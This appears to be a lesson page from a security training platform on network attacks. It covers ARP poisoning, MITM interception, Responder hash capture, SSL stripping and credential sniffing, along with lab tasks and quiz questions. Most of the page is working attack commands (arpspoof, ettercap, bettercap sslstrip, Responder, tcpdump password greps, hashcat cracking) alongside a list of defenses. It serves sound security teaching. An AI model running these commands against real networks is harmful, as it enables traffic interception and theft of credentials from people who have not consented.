Network Attacks & Man-in-the-Middle

Execute network-level attacks — ARP poisoning, MITM traffic interception with Wireshark, Responder for credential capture, and network protocol exploitation.

Hard 65m 3 tasks

Learning Objectives

  • → Perform ARP poisoning to intercept network traffic with arpspoof
  • → Capture and analyze network traffic with Wireshark and tcpdump
  • → Use Responder to capture NTLMv2 hashes from Windows clients
  • → Exploit insecure protocols: Telnet, FTP, HTTP credential sniffing
  • → Understand SSL/TLS protection and MITM limitations against HTTPS

ARP Poisoning (ARP Spoofing)

How ARP Works

Normal ARP:
192.168.1.100 asks: "Who has 192.168.1.1? Tell me your MAC"
192.168.1.1 replies: "192.168.1.1 is at AA:BB:CC:DD:EE:FF"

ARP is unauthenticated — anyone can reply to any ARP request!

ARP Poisoning Attack

Attack:
Attacker sends gratuitous ARPs:
"192.168.1.1 (router) is at ATTACKER_MAC" → sent to all hosts
"192.168.1.100 (victim) is at ATTACKER_MAC" → sent to router

Result:
Victim's traffic → Attacker → Router (intercepted!)
Router traffic → Attacker → Victim (intercepted!)

Tools for ARP Poisoning

# arpspoof (dsniff)
echo 1 > /proc/sys/net/ipv4/ip_forward   # enable forwarding
arpspoof -i eth0 -t VICTIM_IP GATEWAY_IP
arpspoof -i eth0 -t GATEWAY_IP VICTIM_IP

# ettercap (GUI and CLI)
ettercap -T -q -M arp:remote /VICTIM_IP// /GATEWAY_IP//
# -T text mode, -q quiet, -M arp:remote MITM

# bettercap (modern, feature-rich)
bettercap -iface eth0
net.probe on      -- discover hosts
arp.spoof on      -- start ARP spoofing
net.sniff on      -- capture traffic

Wireshark – Traffic Analysis

Wireshark — GUI packet analyzer
tcpdump  — CLI packet analyzer (scriptable)

# Capture traffic
sudo wireshark &
# Select interface → Start

# Useful display filters:
http                        — HTTP traffic
http.request.method == "POST"  — POST requests only
ftp                         — FTP (credentials in clear)
telnet                      — Telnet sessions
smtp                        — Email credentials
credentials                 — Wireshark's credential detection

# Follow stream:
Right-click packet → Follow → TCP/HTTP Stream
# Reconstruct full conversation

# Export credentials:
Edit → Find Packet → String → "password"

tcpdump

# Capture all traffic
sudo tcpdump -i eth0 -w capture.pcap

# Filter by host and port
sudo tcpdump -i eth0 host 192.168.1.100 and port 80

# Capture only HTTP (port 80) and FTP (port 21)
sudo tcpdump -i eth0 port 80 or port 21 -w web_ftp.pcap

# Read saved capture
tcpdump -r capture.pcap -n

# Extract credentials from HTTP
tcpdump -r capture.pcap -A | grep -i "password\|pass=\|user="

# Real-time credential display
tcpdump -i eth0 -A -s0 port 80 | grep -i "pass\|user\|login"

Responder – LLMNR/NBT-NS Poisoning

# How Responder works:
# Windows tries: DNS → LLMNR → NBT-NS
# If DNS fails, broadcasts LLMNR/NBT-NS query
# Responder answers: "I am the host you're looking for!"
# Windows sends NTLMv2 authentication to Responder
# Responder captures the hash

# Start Responder:
responder -I eth0 -wF
# -w Web proxy capture, -F Force NTLM auth

# Output: captured NTLMv2 hashes in /usr/share/responder/logs/
# Crack with hashcat: -m 5600 hashes.txt rockyou.txt

# Trigger scenarios:
# Windows user types: \nonexistent-server (UNC path)
# Shared printer with wrong hostname
# Browser proxy auto-discovery (WPAD)

SSL Stripping

# SSL stripping downgrades HTTPS to HTTP
# Requires ARP poisoning first (MITM position)

# Tool: bettercap
bettercap
net.sniff on
arp.spoof on
http.proxy on         -- intercept HTTP
https.proxy on        -- act as TLS proxy
set http.proxy.sslstrip true  -- strip SSL

# Defense: HSTS preloading prevents SSL stripping
# Browsers refuse HTTP for HSTS domains even if stripped

Protocol-Specific Attacks

# Telnet — plaintext!
sudo tcpdump -i eth0 port 23 -A | grep -v "^$"
# Full session visible in plaintext

# FTP — plaintext credentials
sudo tcpdump -i eth0 port 21 -A | grep -E "(USER|PASS)"

# HTTP Basic Auth — base64 encoded (not encrypted!)
# Authorization: Basic YWRtaW46cGFzc3dvcmQ=
echo "YWRtaW46cGFzc3dvcmQ=" | base64 -d
# admin:password

# SMTP — email credentials
sudo tcpdump -i eth0 port 25 -A
# AUTH LOGIN: base64 username/password

# DNS sniffing — map internal hostnames
sudo tcpdump -i eth0 port 53 -n | grep -E "(A|CNAME|PTR)"

Defense Against MITM

1. HTTPS everywhere (TLS) — even with MITM, traffic encrypted
2. HSTS + preloading — prevents SSL stripping
3. Certificate pinning — mobile apps check specific cert
4. Network segmentation — isolate sensitive systems
5. 802.1X NAC — authenticate before network access
6. Dynamic ARP Inspection (DAI) — switch-level ARP protection
7. DNSSEC — signed DNS responses
8. IPv6 RA Guard — router advertisement protection
9. VPN — encrypted tunnel even on untrusted networks

On an isolated lab network with two VMs: (1) enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward, (2) launch arpspoof against victim and gateway, (3) start Wireshark on attacker machine, (4) from victim VM: browse to an HTTP website and log in, (5) observe credentials captured in Wireshark, (6) follow the TCP stream to see full HTTP conversation.

✦ Answer the questions to complete this task

Why must IP forwarding be enabled during ARP poisoning?

What does 'Follow TCP Stream' in Wireshark do?

On a network with a Windows machine: (1) start Responder: responder -I eth0 -wF, (2) trigger LLMNR: from Windows VM, open File Explorer and type \nonexistent-server, (3) observe Responder capturing NTLMv2 hash, (4) copy hash to hash.txt, (5) crack with hashcat -m 5600 hash.txt rockyou.txt, (6) verify cracked password by authenticating to the Windows VM.

✦ Answer the questions to complete this task

What is LLMNR and why does it enable Responder attacks?

Analyze a provided packet capture (or capture live traffic): (1) extract all HTTP credentials: tcpdump -r cap.pcap -A | grep -i pass, (2) find FTP credentials: filter port 21, (3) decode HTTP Basic Auth: base64 decode Authorization header, (4) identify DNS queries to map internal hosts, (5) find any credentials in Telnet sessions.

✦ Answer the questions to complete this task

Why is HTTP Basic Auth insecure even though it looks different from plaintext?

💪 Exercises & Challenges

📝 MCQ Medium +20 XP

Network Attacks & MITM MCQ

Network Attacks & MITM MCQ

Start →
⚙️ Practical Medium +30 XP

Full MITM Attack Chain

Full MITM Attack Chain

Start →
🚩 Challenge Hard +50 XP

Capture the NTLMv2 Hash

Capture the NTLMv2 Hash

Start →